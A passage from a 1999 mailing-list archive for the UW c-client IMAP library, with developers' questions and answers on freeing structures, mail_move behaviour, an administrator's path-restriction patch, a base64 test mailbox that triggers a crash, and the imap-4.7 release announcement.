mailarch+c-client; Sun, 14 Nov 1999 20:20:52 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA12669 for ; Sun, 14 Nov 1999 20:20:51 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA06318; Sun, 14 Nov 1999 20:20:49 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id UAA26270; Sun, 14 Nov 1999 20:18:12 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id UAA57982 for ; Sun, 14 Nov 1999 20:16:33 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (senf@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA22224 for ; Sun, 14 Nov 1999 20:16:33 -0800 Message-Id: Date: Sun, 14 Nov 1999 20:02:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Trank Cc: c-client@u.washington.edu Subject: re: mail_free_* In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 14 Nov 1999 19:46:35 -0600 (CST), Mike Trank wrote: > One thing that has never worked from me is mail_free_body, > mail_free_envelope and mail_free_elt. > > I always get segmentation faults when I try to do these. I admit that I am > not always very concientious about doing free()'s, etc. The only time that you ever call mail_free_envelope() is with an envelope that you created with mail_newenvelope(). Similarly, the only time that you ever call mail_free_body() is with a body that you created with mail_newbody. There is rarely an instance where it is appropriate for you to call mail_free_elt(), since elts are only created with mail_new_cache_elt() which is only called internally. The exception is if you use an advanced concept called "elt locking", in which you make a private pointer to an elt for use someplace. To keep the elt from going away if the message gets expunged (thus invaliding your pointer, you increment its elt->lockcount. When finished with the pointer, call mail_free_elt() instead of doing elt->lockcount--, e.g. elt->lockcount++; /* keep elt from going away */ blurdybloop->elt = elt; /* remember elt */ ... lots of code ... mail_free_elt (&blurdybloop->elt); In particular, you do not call these functions on envelopes, bodys, or elts that were returned by a c-client function, such as mail_fetch_structure() or mail_elt(). The upshot is that the only time you ever call them is when you make (and fill in) your own when SMTP sending or NNTP posting a message. Similarly, you never fs_give() text data (always use fs_get() and fs_give() instead of malloc() and free()) returned by mail_fetch_text() and friends. The only time you ever fs_give() is when you call fs_get() or a c-client function that returns a copy of data that you supply: cpystr(), rfc822_base64(), rfc822_binary(), rfc822_8bit(), rfc822_qprint(). From pinedev@shivax2.cac.washington.edu Sun Nov 14 21:00:00 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Nov 1999 20:59:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA12764 for ; Sun, 14 Nov 1999 20:59:58 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA06843; Sun, 14 Nov 1999 20:59:57 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id UAA27409; Sun, 14 Nov 1999 20:58:03 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id UAA49080 for ; Sun, 14 Nov 1999 20:56:16 -0800 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA27296 for ; Sun, 14 Nov 1999 20:56:13 -0800 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id WAA07925; Sun, 14 Nov 1999 22:54:50 -0600 Message-Id: Date: Sun, 14 Nov 1999 22:54:50 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: mail_free_* In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 14 Nov 1999, Mark Crispin wrote: > The only time that you ever call mail_free_envelope() is with an envelope that > you created with mail_newenvelope(). Similarly, the only time that you ever > call mail_free_body() is with a body that you created with mail_newbody. > Ohhhhhhhh. Ok. So I guess Il just leave them out. Here's another problem that Im having right now. I am calling "mail_move()". The messages get moved to the other mailbox, but the original ones dont get deleted, the flags dont even get set. What is supposed to happen? Are the messages supposed to disapear or do they just get flagged delete for the next "expunge". Im using the mbox files, by the way. Every time I do a move_mail(), the next instance of a c-client program will always claim that it cant get write access to the file. Is that a clue? From pinedev@shivax2.cac.washington.edu Sun Nov 14 21:45:03 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Nov 1999 21:45:02 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA13182 for ; Sun, 14 Nov 1999 21:45:01 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA30842; Sun, 14 Nov 1999 21:45:00 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id VAA04865; Sun, 14 Nov 1999 21:41:49 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id VAA51788 for ; Sun, 14 Nov 1999 21:41:02 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (pat@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA25310 for ; Sun, 14 Nov 1999 21:41:02 -0800 Message-Id: Date: Sun, 14 Nov 1999 21:37:00 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Trank Cc: c-client@u.washington.edu Subject: re: mail_free_* In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 14 Nov 1999 22:54:50 -0600 (CST), Mike Trank wrote: > Here's another problem that Im having right now. I am calling > "mail_move()". The messages get moved to the other mailbox, but the > original ones dont get deleted, the flags dont even get set. In the standard UNIX mailbox format, the source mailbox flags aren't updated until the next checkpoint: mail_check(), mail_expunge(), or mail_close(). > What is supposed to happen? Are the messages supposed to disapear or do > they just get flagged delete for the next "expunge". The messages get the deleted flag for the next expunge. > Every time I do a move_mail(), the next instance of a c-client program > will always claim that it cant get write access to the file. Is that a > clue? What is "the file" -- the source or the destination? Please be more specific about what, precisely, you are doing. Also, please make sure that you have the latest version. The current release version is imap-4.6, but I recommend that you use the imap-4.7.BETA version instead: ftp://ftp.cac.washington.edu/mail/imap-4.7.BETA.tar.Z From pinedev@shivax2.cac.washington.edu Mon Nov 15 13:33:00 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 15 Nov 1999 13:33:00 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA00374 for ; Mon, 15 Nov 1999 13:32:59 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA17720; Mon, 15 Nov 1999 13:32:57 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA26532; Mon, 15 Nov 1999 13:14:38 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA34442 for ; Mon, 15 Nov 1999 13:09:44 -0800 Received: from clavin2.unet.brandeis.edu (clavin2.unet.brandeis.edu [129.64.99.33]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA30748 for ; Mon, 15 Nov 1999 13:09:39 -0800 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by clavin2.unet.brandeis.edu (8.9.3/8.9.3/UNet1.5) with ESMTP id QAA29666 for ; Mon, 15 Nov 1999 16:09:38 -0500 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.9.1a/8.9.1) with ESMTP id QAA01976 for ; Mon, 15 Nov 1999 16:09:38 -0500 Message-Id: Date: Mon, 15 Nov 1999 16:09:38 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: Snarfing /var/spool/mail/ into ~/INBOX for POP users MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: rcgraves@quixote.unet.brandeis.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN drivers.txt says: | If "black box mode" is not in effect, messages are automatically | transferred ("snarfed") from the spool directory to an INBOX in mbox, | mx, mbx, tenex, and mtx formats. This works fine for imapd, but ipop3d doesn't pick up new mail. Is this normal behavior, or did I break something? I have UW-IMAP 4.6-release patched to use hashed mbx-format folders for INBOX. My patches follow (they're small). Forking off a tmail for every incoming message would be a major loss from postfix's own delivery agent. P.S. I've got IMAP referrals happening, but since neither Netscape nor Outlook seem to notice, they're not doing anything for me. -- Rich Graves UNet Systems Administrator --- imap-4.6/src/osdep/unix/env_unix.c.orig Fri Oct 29 23:18:30 1999 +++ imap-4.6/src/osdep/unix/env_unix.c Mon Nov 1 23:28:34 1999 @@ -531,8 +529,9 @@ if (blackBox) /* black box? */ nslist[0] = &nshome,nslist[1] = &nsblackother,nslist[2] = &nsshared; else { /* not a black box */ - nslist[0] = &nshome,nslist[1] = &nsunixother,nslist[2] = &nsshared; - myHomeDir = cpystr (home);/* use real home directory */ + nslist[0] = &nshome,nslist[1] = &nsunixother,nslist[2] = &nsshared; + snprintf (tmp,32,"/var/imap/%.1s/%s",myUserName,myUserName); /* DON'T use real home dir */ + myHomeDir = cpystr (tmp); /* use /var/imap// */ /* make sure user rc files don't try this */ blackBoxDir = blackBoxDefaultHome = ""; } --- imap-4.6/src/osdep/unix/env_unix.c.tilde Fri Nov 5 16:41:09 1999 +++ imap-4.6/src/osdep/unix/env_unix.c Fri Nov 5 17:08:28 1999 @@ -709,14 +709,30 @@ } ^L /* absolute path name? */ - else if (*name == '/') return strcpy (dst,name); + + /* We are not in full black-box mode, but we do want to discourage + * people from snooping around directories where they aren't + * welcome. */ + + else if (*name == '/') { + if (!((strstr (name,"var/imap")) || (strstr (name,"var/spool/mail/")))) + return NIL; + if (strstr (name,"..") || strstr (name,"//") || strstr (name,"/~")) + return NIL; /* none of these allowed when restricted */ + return strcpy (dst,name); + } /* some home directory? */ else if ((*name == '~') && *++name) { if (*name == '/') name++; /* yes, my home directory? */ else { /* no, copy user name */ for (dir = dst; *name && (*name != '/'); *dir++ = *name++); *dir++ = '\0'; /* tie off user name, look up in passwd file */ - if (!((pw = getpwnam (dst)) && (dir = pw->pw_dir))) return NIL; + if (!(pw = getpwnam (dst))) return NIL; + /* Drop in /var/imap/// */ + sprintf (dir,"/var/imap/%.1s/%s",dst,dst); if (*name) name++; /* skip past the slash */ } } --- imap-4.6/Makefile.orig Fri Oct 29 22:07:36 1999 +++ imap-4.6/Makefile Fri Oct 29 22:12:01 1999 @@ -128,7 +128,7 @@ # mbox if file "mbox" exists on the home directory, automatically moves mail # from the spool directory to "mbox" and uses "mbox" as INBOX. -EXTRADRIVERS=mbox +EXTRADRIVERS= # The following plaintext login types are defined: @@ -244,7 +244,7 @@ # gradually-increasing intervals, starting at 2800-2900, and becoming # permanent at 48,300. -EXTRACFLAGS= +EXTRACFLAGS=-DDISABLE_POP_PROXY=1 -DNETSCAPE_BRAIN_DAMAGE=\"https://unet.brandeis.edu/\" # Extra linker flags (additional/alternative libraries, etc.) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 17 10:44:21 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Nov 1999 10:44:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA24848 for ; Wed, 17 Nov 1999 10:44:20 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA19247; Wed, 17 Nov 1999 10:44:18 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA05061; Wed, 17 Nov 1999 10:40:58 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA49918 for ; Wed, 17 Nov 1999 10:31:14 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA09187 for ; Wed, 17 Nov 1999 10:31:13 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (vsl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA18871; Wed, 17 Nov 1999 10:31:13 -0800 Message-Id: Date: Wed, 17 Nov 1999 10:28:49 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: IMAP Interest List , c-client Interest List Subject: announcing: UW IMAP toolkit version 4.7 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Concurrent with the release of Pine 4.21, UW IMAP toolkit version 4.7 is now in release status: ftp://ftp.cac.washington.edu/mail/imap-4.7.tar.Z This release is a minor maintenance update from version 4.6; the most notable change being a fix to the "\Seen flag going away" problem. All sites running UW imapd are strongly encouraged to upgrade to this version. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Wed Nov 17 14:42:14 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Nov 1999 14:42:14 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA30647 for ; Wed, 17 Nov 1999 14:42:13 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA18465; Wed, 17 Nov 1999 14:42:11 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA19411; Wed, 17 Nov 1999 14:38:45 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA52876 for ; Wed, 17 Nov 1999 14:36:36 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA22230 for ; Wed, 17 Nov 1999 14:36:36 -0800 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA18243 for ; Wed, 17 Nov 1999 14:36:33 -0800 Received: from speedy.swi.com.br (IDENT:chaos@speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.1a/8.8.7) with ESMTP id UAA28853 for ; Wed, 17 Nov 1999 20:39:11 -0200 Message-Id: <199911172239.UAA28853@stratus.swi.com.br> Date: Wed, 17 Nov 1999 20:39:11 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@CAC.Washington.EDU Subject: Problems with messages with Mime type: message/delivery-status Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----------=_942878326-8847-0" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format... ------------=_942878326-8847-0 Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Hi, I am having a problem with messages returned from the MAILER_DAEMON. When trying to fetch the structure from the message I get a segmentation fault. I am using Perl's module Mail::Cclient. So, I don't know if it is a c-client or a Mail::Client problem. In Perl it happens when I do: ($env, $body) = $c->fetchstructure($message_from_mailer_daemon); This is the equivalent to the function mail_fetchstructure() in the C API. I have tried with: IMAP-4.5, 4.6-BETA, 4.6, 4.7-BETA and 4.7 I am using Mail::Cclient 0.5 I attached a mailbox with the message which causes the error. So, can someone help me? Is is the c-client or Mail::Cclient? BTW, is there someone workig with Mail::Cclient too? Thanks a lot, Raul Dias ------------=_942878326-8847-0 Content-Type: application/octet-stream; name="test.mail" Content-Disposition: inline; filename="test.mail" Content-Transfer-Encoding: base64 RnJvbSBNQUlMRVItREFFTU9OIFdlZCBOb3YgMTcgMTc6NDA6MjMgMTk5OQpE YXRlOiBXZWQsIDE3IE5vdiAxOTk5IDE3OjQwOjIzIC0wMjAwIChFRFQpCkZy b206IE1haWwgU3lzdGVtIEludGVybmFsIERhdGEgPE1BSUxFUi1EQUVNT05A c3dpLmNvbS5icj4KU3ViamVjdDogRE9OJ1QgREVMRVRFIFRISVMgTUVTU0FH RSAtLSBGT0xERVIgSU5URVJOQUwgREFUQQpYLUlNQVA6IDA5NDI4Njc2MjMg MDAwMDAwMDAwMApTdGF0dXM6IFJPCgpUaGlzIHRleHQgaXMgcGFydCBvZiB0 aGUgaW50ZXJuYWwgZm9ybWF0IG9mIHlvdXIgbWFpbCBmb2xkZXIsIGFuZCBp cyBub3QKYSByZWFsIG1lc3NhZ2UuICBJdCBpcyBjcmVhdGVkIGF1dG9tYXRp Y2FsbHkgYnkgdGhlIG1haWwgc3lzdGVtIHNvZnR3YXJlLgpJZiBkZWxldGVk LCBpbXBvcnRhbnQgZm9sZGVyIGRhdGEgd2lsbCBiZSBsb3N0LCBhbmQgaXQg d2lsbCBiZSByZS1jcmVhdGVkCndpdGggdGhlIGRhdGEgcmVzZXQgdG8gaW5p dGlhbCB2YWx1ZXMuCgpGcm9tIGNoYW9zQHN3aS5jb20uYnIgU3VuIE5vdiAx NCAxMzoxMzo1MCAxOTk5IC0wMjAwClN0YXR1czogUgpYLVN0YXR1czogClgt S2V5d29yZHM6ClJldHVybi1QYXRoOiA8TUFJTEVSLURBRU1PTkBzdHJhdHVz LnN3aS5jb20uYnI+ClJlY2VpdmVkOiBmcm9tIGxvY2FsaG9zdCAoSURFTlQ6 cm9vdEBsb2NhbGhvc3QgWzEyNy4wLjAuMV0pCglieSBzcGVlZHkuc3dpLmNv bS5iciAoOC45LjMvOC45LjMpIHdpdGggRVNNVFAgaWQgTkFBMDYwMjkKCWZv ciA8Y2hhb3NAbG9jYWxob3N0PjsgU3VuLCAxNCBOb3YgMTk5OSAxMzoxMzo1 MCAtMDIwMApSZWNlaXZlZDogZnJvbSBzdHJhdHVzLnN3aS5jb20uYnIKCWJ5 IGxvY2FsaG9zdCB3aXRoIFBPUDMgKGZldGNobWFpbC01LjAuMCkKCWZvciBj aGFvc0Bsb2NhbGhvc3QgKHNpbmdsZS1kcm9wKTsgU3VuLCAxNCBOb3YgMTk5 OSAxMzoxMzo1MCAtMDIwMCAoRURUKQpSZWNlaXZlZDogZnJvbSBsb2NhbGhv c3QgKGxvY2FsaG9zdCkKCWJ5IHN0cmF0dXMuc3dpLmNvbS5iciAoOC45LjFh LzguOC43KSB3aXRoIGludGVybmFsIGlkIE5BQjA0Njk1OwoJU3VuLCAxNCBO b3YgMTk5OSAxMzoxMzowOSAtMDIwMApEYXRlOiBTdW4sIDE0IE5vdiAxOTk5 IDEzOjEzOjA5IC0wMjAwCkZyb206IE1haWwgRGVsaXZlcnkgU3Vic3lzdGVt IDxNQUlMRVItREFFTU9OQHN0cmF0dXMuc3dpLmNvbS5icj4KTWVzc2FnZS1J ZDogPDE5OTkxMTE0MTUxMy5OQUIwNDY5NUBzdHJhdHVzLnN3aS5jb20uYnI+ ClRvOiBub2JvZHlAc3RyYXR1cy5zd2kuY29tLmJyCk1JTUUtVmVyc2lvbjog MS4wCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L3JlcG9ydDsgcmVwb3J0LXR5 cGU9ZGVsaXZlcnktc3RhdHVzOwoJYm91bmRhcnk9Ik5BQjA0Njk1Ljk0MjU5 MjM4OS9zdHJhdHVzLnN3aS5jb20uYnIiCkNvbnRlbnQtVHJhbnNmZXItRW5j b2Rpbmc6IDhiaXQKU3ViamVjdDogUmV0dXJuZWQgbWFpbDogQ2Fubm90IHNl bmQgbWVzc2FnZSB3aXRoaW4gNSBkYXlzCkF1dG8tU3VibWl0dGVkOiBhdXRv LWdlbmVyYXRlZCAoZmFpbHVyZSkKQ29udGVudC1MZW5ndGg6IDExODEKTGlu ZXM6IDQzCgpUaGlzIGlzIGEgTUlNRS1lbmNhcHN1bGF0ZWQgbWVzc2FnZQoK LS1OQUIwNDY5NS45NDI1OTIzODkvc3RyYXR1cy5zd2kuY29tLmJyCgpUaGUg b3JpZ2luYWwgbWVzc2FnZSB3YXMgcmVjZWl2ZWQgYXQgVHVlLCA5IE5vdiAx OTk5IDEyOjI4OjUxIC0wMjAwCmZyb20gbm9ib2R5QGxvY2FsaG9zdAoKICAg LS0tLS0gVGhlIGZvbGxvd2luZyBhZGRyZXNzZXMgaGFkIHBlcm1hbmVudCBm YXRhbCBlcnJvcnMgLS0tLS0Kd2VydEB0ZHl0LmNvbQoKICAgLS0tLS0gVHJh bnNjcmlwdCBvZiBzZXNzaW9uIGZvbGxvd3MgLS0tLS0KNDUxIHdlcnRAdGR5 dC5jb20uLi4gdGR5dC5jb206IE5hbWUgc2VydmVyIHRpbWVvdXQKTWVzc2Fn ZSBjb3VsZCBub3QgYmUgZGVsaXZlcmVkIGZvciA1IGRheXMKTWVzc2FnZSB3 aWxsIGJlIGRlbGV0ZWQgZnJvbSBxdWV1ZQoKLS1OQUIwNDY5NS45NDI1OTIz ODkvc3RyYXR1cy5zd2kuY29tLmJyCkNvbnRlbnQtVHlwZTogbWVzc2FnZS9k ZWxpdmVyeS1zdGF0dXMKClJlcG9ydGluZy1NVEE6IGRuczsgc3RyYXR1cy5z d2kuY29tLmJyCkFycml2YWwtRGF0ZTogVHVlLCA5IE5vdiAxOTk5IDEyOjI4 OjUxIC0wMjAwCgpGaW5hbC1SZWNpcGllbnQ6IFJGQzgyMjsgd2VydEB0ZHl0 LmNvbQpBY3Rpb246IGZhaWxlZApTdGF0dXM6IDQuNC43Ckxhc3QtQXR0ZW1w dC1EYXRlOiBTdW4sIDE0IE5vdiAxOTk5IDEzOjEzOjA5IC0wMjAwCgotLU5B QjA0Njk1Ljk0MjU5MjM4OS9zdHJhdHVzLnN3aS5jb20uYnIKQ29udGVudC1U eXBlOiBtZXNzYWdlL3JmYzgyMgpDb250ZW50LVRyYW5zZmVyLUVuY29kaW5n OiA4Yml0CgpSZXR1cm4tUGF0aDogPG5vYm9keT4KUmVjZWl2ZWQ6IChmcm9t IG5vYm9keUBsb2NhbGhvc3QpCglieSBzdHJhdHVzLnN3aS5jb20uYnIgKDgu OS4xYS84LjguNykgaWQgTUFBMDY2Mjk7CglUdWUsIDkgTm92IDE5OTkgMTI6 Mjg6NTEgLTAyMDAKRGF0ZTogVHVlLCA5IE5vdiAxOTk5IDEyOjI4OjUxIC0w MjAwCk1lc3NhZ2UtSWQ6IDwxOTk5MTEwOTE0MjguTUFBMDY2MjlAc3RyYXR1 cy5zd2kuY29tLmJyPgpUbzogd2VydEB0ZHl0LmNvbQpGcm9tOiBhZm1pZ3Vl bEBybGEwMS5wdWNwci5icgpTdWJqZWN0OiBUaGFuayB5b3UKCkVzdGUg6SBv IGVtYWlsIGRlIHJlc3Bvc3RhIDIKCi0tTkFCMDQ2OTUuOTQyNTkyMzg5L3N0 cmF0dXMuc3dpLmNvbS5ici0tCgo= ------------=_942878326-8847-0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 17 15:54:00 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Nov 1999 15:54:00 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA00192 for ; Wed, 17 Nov 1999 15:53:59 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA21042; Wed, 17 Nov 1999 15:53:57 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id PAA29599; Wed, 17 Nov 1999 15:51:13 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA45112 for ; Wed, 17 Nov 1999 15:48:04 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA09987 for ; Wed, 17 Nov 1999 15:48:01 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (noodle@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA28837; Wed, 17 Nov 1999 15:48:01 -0800 Message-Id: Date: Wed, 17 Nov 1999 15:30:00 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: George Lindholm Cc: IMAP Interest List , c-client Interest List Subject: Re: announcing: UW IMAP toolkit version 4.7 In-Reply-To: <383337D0.A89073EB@ubc.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 17 Nov 1999 15:18:40 -0800, George Lindholm wrote: > Are there any plans to make imap/pine use the GNU autoconf rather > than the multitude of makefile/include files current used? Given the *ENORMOUS* problems that I have had building software that uses GNU autoconf, it's extremely unlikely. autoconf can be very nice when it works, but when it doesn't work, it is an absolute nightmare. Unfortunately, autoconf bases its decisions upon tests which are less definitive than its authors think they are. Last but not least, c-client knows much more about various UNIX variants (including some obscure ones) than autoconf does now (or likely ever will). So, at this point, autoconf is (at best) cosmetic and has some serious perils. From pinedev@shivax2.cac.washington.edu Wed Nov 17 16:22:57 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Nov 1999 16:22:57 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with 